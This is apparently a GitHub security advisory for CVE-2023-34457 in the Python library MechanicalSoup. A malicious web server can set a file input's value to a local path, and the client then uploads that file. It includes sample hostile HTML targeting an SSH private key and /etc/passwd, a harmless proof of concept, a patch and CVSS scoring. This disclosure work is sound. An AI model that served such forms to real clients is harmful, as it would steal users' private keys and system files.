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MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form

High severity GitHub Reviewed Published Jul 4, 2023 in MechanicalSoup/MechanicalSoup • Updated Oct 1, 2024

Package

pip MechanicalSoup (pip)

Affected versions

>= 0.2.0, < 1.3.0

Patched versions

1.3.0

Description

Summary

A malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form.

Details

This affects the extremely common pattern of form submission:

b = mechanicalsoup.StatefulBrowser()
b.select_form(...)
b.submit_selected()

The problem is with the code in browser.Browser.get_request_kwargs:

    if tag.get("type", "").lower() == "file" and multipart:
        filepath = value
        if filepath != "" and isinstance(filepath, str):
            content = open(filepath, "rb")
        else:
            content = ""
        filename = os.path.basename(filepath)
        # If value is the empty string, we still pass it
        # for consistency with browsers (see
        # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).
        files[name] = (filename, content)

The file path is taken from the bs4 tag "value" attribute. However, this path will default to whatever the server sends. So if a malicious web server were to send something like:

<html><body>
  <form method="post" enctype="multipart/form-data">
    <input type="text" name="greeting" value="hello" />
    <input type="file" name="evil" value="/home/user/.ssh/id_rsa" />
  </form>
</body></html>

then upon .submit_selected() the mechanicalsoup browser will happily send over the contents of your SSH private key.

PoC

import attr
import mechanicalsoup
import requests


class NevermindError(Exception):
    pass


@attr.s
class FakeSession:
    session = attr.ib()

    headers = property(lambda self: self.session.headers)

    def request(self, *args, **kwargs):
        print("requested", args, kwargs)
        raise NevermindError  # don't actually send request


def demonstrate(inputs=None):
    b = mechanicalsoup.StatefulBrowser(FakeSession(requests.Session()))
    b.open_fake_page("""\
<html><body>
<form method="post" enctype="multipart/form-data">
<input type="text" name="greeting" value="hello" />
<input type="file" name="evil" value="/etc/passwd" />
<input type="file" name="second" />
</form>
</body></html>
""", url="http://127.0.0.1:9/")
    b.select_form()
    if inputs is not None:
        b.form.set_input(inputs)
    try:
        b.submit_selected()
    except NevermindError:
        pass

# %%

# unpatched
demonstrate()
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('passwd', <_io.BufferedReader name='/etc/passwd'>), 'second': ('', '')}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hello')]}

# %%

# with the patch, this now works. users MUST open the file manually and
# use browser.set_input() using the file object.
demonstrate({"greeting": "hiya", "evil": open("/etc/hostname", "rb").name, "second": open("/dev/null", "rb")})
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('hostname', <_io.BufferedReader name='/etc/hostname'>), 'second': ('null', <_io.BufferedReader name='/dev/null'>)}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hiya')]}

# %%

# with the patch, this raises a ValueError with a helpful string
demonstrate({"evil": "/etc/hostname"})

# %%

# with the patch, we silently send no file if a malicious server tries the attack:
demonstrate()

Suggested patch

diff --git a/mechanicalsoup/browser.py b/mechanicalsoup/browser.py
index 285f8bb..68bc65e 100644
--- a/mechanicalsoup/browser.py
+++ b/mechanicalsoup/browser.py
@@ -1,7 +1,8 @@
+import io
 import os
 import tempfile
 import urllib
 import weakref
 import webbrowser
 
 import bs4
@@ -227,15 +228,21 @@ class Browser:
                     value = tag.get("value", "")
 
                 # If the enctype is not multipart, the filename is put in
                 # the form as a text input and the file is not sent.
                 if tag.get("type", "").lower() == "file" and multipart:
                     filepath = value
                     if filepath != "" and isinstance(filepath, str):
-                        content = open(filepath, "rb")
+                        content = getattr(tag, "_mechanicalsoup_file", None)
+                        if content is False:
+                            raise ValueError(
+                                """From v1.3.0 onwards, you must pass an open file object directly, for example using `form.set_input({"name": open("/path/to/filename", "rb")})`. This change is to mitigate a security vulnerability where a malicious web server could read arbitrary files from the client."""
+                            )
+                        elif not isinstance(content, io.IOBase):
+                            content = ""
                     else:
                         content = ""
                     filename = os.path.basename(filepath)
                     # If value is the empty string, we still pass it
                     # for consistency with browsers (see
                     # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).
                     files[name] = (filename, content)
diff --git a/mechanicalsoup/form.py b/mechanicalsoup/form.py
index a67195c..82f6015 100644
--- a/mechanicalsoup/form.py
+++ b/mechanicalsoup/form.py
@@ -1,8 +1,9 @@
 import copy
+import io
 import warnings
 
 from bs4 import BeautifulSoup
 
 from .utils import LinkNotFoundError
 
 
@@ -64,15 +65,24 @@ class Form:
         give it the value ``password``.
         """
 
         for (name, value) in data.items():
             i = self.form.find("input", {"name": name})
             if not i:
                 raise InvalidFormMethod("No input field named " + name)
-            i["value"] = value
+
+            if isinstance(value, io.IOBase):
+                # Store the actual file object for <input type="file">
+                i._mechanicalsoup_file = value
+                i["value"] = value.name
+            else:
+                # We set `_mechanicalsoup_file` to `False` so that we can
+                # check for deprecated use of the API.
+                i._mechanicalsoup_file = False
+                i["value"] = value
 
     def uncheck_all(self, name):
         """Remove the *checked*-attribute of all input elements with
         a *name*-attribute given by ``name``.
         """
         for option in self.form.find_all("input", {"name": name}):
             if "checked" in option.attrs:
@@ -257,20 +267,20 @@ class Form:
         .. code-block:: python
 
             form.set("login", username)
             form.set("password", password)
             form.set("eula-checkbox", True)
 
         Example: uploading a file through a ``<input type="file"
-        name="tagname">`` field (provide the path to the local file,
+        name="tagname">`` field (provide an open file object,
         and its content will be uploaded):
 
         .. code-block:: python
 
-            form.set("tagname", path_to_local_file)
+            form.set("tagname", open(path_to_local_file, "rb"))
 
         """
         for func in ("checkbox", "radio", "input", "textarea", "select"):
             try:
                 getattr(self, "set_" + func)({name: value})
                 return
             except InvalidFormMethod:

Impact

All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values.

References

@hemberger hemberger published to MechanicalSoup/MechanicalSoup Jul 4, 2023
Published by the National Vulnerability Database Jul 5, 2023
Published to the GitHub Advisory Database Jul 5, 2023
Reviewed Jul 5, 2023
Last updated Oct 1, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

0.092%
(41st percentile)

Weaknesses

CVE ID

CVE-2023-34457

GHSA ID

GHSA-x456-3ccm-m6j4

Source code

Credits

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